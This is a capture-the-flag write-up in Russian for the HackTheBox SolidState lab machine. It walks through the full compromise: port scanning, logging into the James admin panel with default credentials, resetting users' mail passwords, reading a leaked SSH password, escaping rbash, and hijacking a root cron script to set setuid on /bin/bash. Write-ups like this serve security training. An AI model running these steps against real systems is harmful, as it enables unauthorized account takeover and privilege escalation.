> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # Запись HackTheBox Solidstate {% embed url="" %} {% hint style="warning" %} **Навыки:** * Злоупотребление инструментом удалённого администрирования James * Изменение пароля электронной почты пользователя * Утечка информации * Выход из Restricted Bash (rbash) * Создание bash-скрипта для обнаружения заданий cron (procmon.sh) * Злоупотребление заданием Cron (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Поиск открытых портов и экспорт в файл "allPorts" в каталоге Nmap. ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**Анализ открытых портов с помощью extractPorts:** Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена (22.25,80,110,119,45555)

Сканирование версий портов с Nmap: Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### Порт 80 #### На порту 80 не было найдено ничего интересного.

## Удалённое администрирование JAMES ### Порт 119 - NNTP > Порт 119 использует протокол передачи сетевых новостей. На сервере запущен экземпляр Apache James, почтовый сервер и новостной сервер. Мы подключаемся с помощью `netcat`, но не находим релевантной информации. ```bash nc 10.10.10.51 119 ```

### Порт 4555 - Инструмент удалённого администрирования > В контексте удалённого администрирования его можно использовать для доступа к панелям управления или взаимодействия с удалёнными службами на целевой машине. Важно просканировать его, чтобы увидеть, открыт ли он и какую службу он обслуживает. Мы пытаемся подключиться к панели администрирования James через Telnet: ```bash telnet 10.10.10.51 4555 ```

После поиска учётных данных по умолчанию мы находим: * **ID** : root * **Пароль** : root

Мы успешно подключаемся и получаем доступ к панели администрирования James. У нас есть возможность перечислить пользователей с помощью `listusers` команды, что позволяет нам обнаружить 5 пользователей: * `пользователь: james` * `пользователь: thomas` * `пользователь: john` * `пользователь: mindy` * `пользователь: mailadmin`

Мы можем изменить пароли пользователей с помощью `setpassword` команды, чтобы подключить их к почтовому клиенту на порту 110. Мы делаем это для всех пользователей: ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### Порт 110 - POP3 > Порт 110 — это стандартный порт, используемый для **POP3** (Post Office Protocol version 3). Этот протокол используется почтовыми клиентами для получения писем с сервера. Когда пользователь подключается к серверу POP3 через этот порт, он может загружать свои сообщения. Теперь мы подключаемся к POP3-клиенту через Telnet:

telnet 10.10.10.51 110

Для подключения мы используем следующие команды: ```ada USER PASS ``` Мы перечисляем сообщения с помощью `list` . Мы видим, что в почтовых ящиках `james` и `thomas`.

Однако у пользователя `john` есть сообщение, которое мы получаем с помощью `retr 1` команды. Сообщение содержит следующий текст: > Джон, > > Не мог бы ты ограничить доступ Mindy, пока ей не разрешат присоединиться к программе? Также обязательно отправь ей временный пароль, чтобы она могла подключиться к своим учётным записям. > > Заранее спасибо. > > С уважением,/ Джеймс

Это наводит на мысль, что у пользователя `mindy` есть учётные данные в его почтовом ящике. Действительно, мы находим следующую информацию: * **Имя пользователя** : mindy * **Пароль** : P\@55W0rd1!2@

Мы используем эти учётные данные для подключения по SSH и получаем флаг `user.txt`. ### Флаг user.txt :)

## Повышение привилегий: ### **Выход из RBash в Bash** У `mindy` пользователь в данный момент использует `rbash` оболочку, которая ограничивает выполнение многих команд.

Чтобы обойти это ограничение, мы используем следующую команду при подключении по SSH, чтобы получить оболочку Bash: ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

Затем мы используем следующие команды, чтобы обработать терминал и получить полноценную оболочку: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Задания Cron - Модифицированный скрипт (Python): Мы создаём bash-скрипт для анализа текущих процессов и обнаружения заданий cron, выполняемых на целевой машине: ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process done ``` Запустив этот скрипт, мы замечаем, что **root** пользователь запускает Python-скрипт, расположенный в `/opt/tmp.py` каталог.

У нас есть возможность изменить этот Python-скрипт.

Мы изменяем его, добавляя команду для установки **setuid** в `/bin/bash` бинарный файл, позволяющий нам запустить оболочку Bash с привилегиями **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` После редактирования скрипта мы ждём около минуты, пока выполнится задача cron. После выполнения задачи cron мы можем получить оболочку Bash с **root** привилегиями, выполнив следующую команду: ```bash /bin/bash -p ```

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.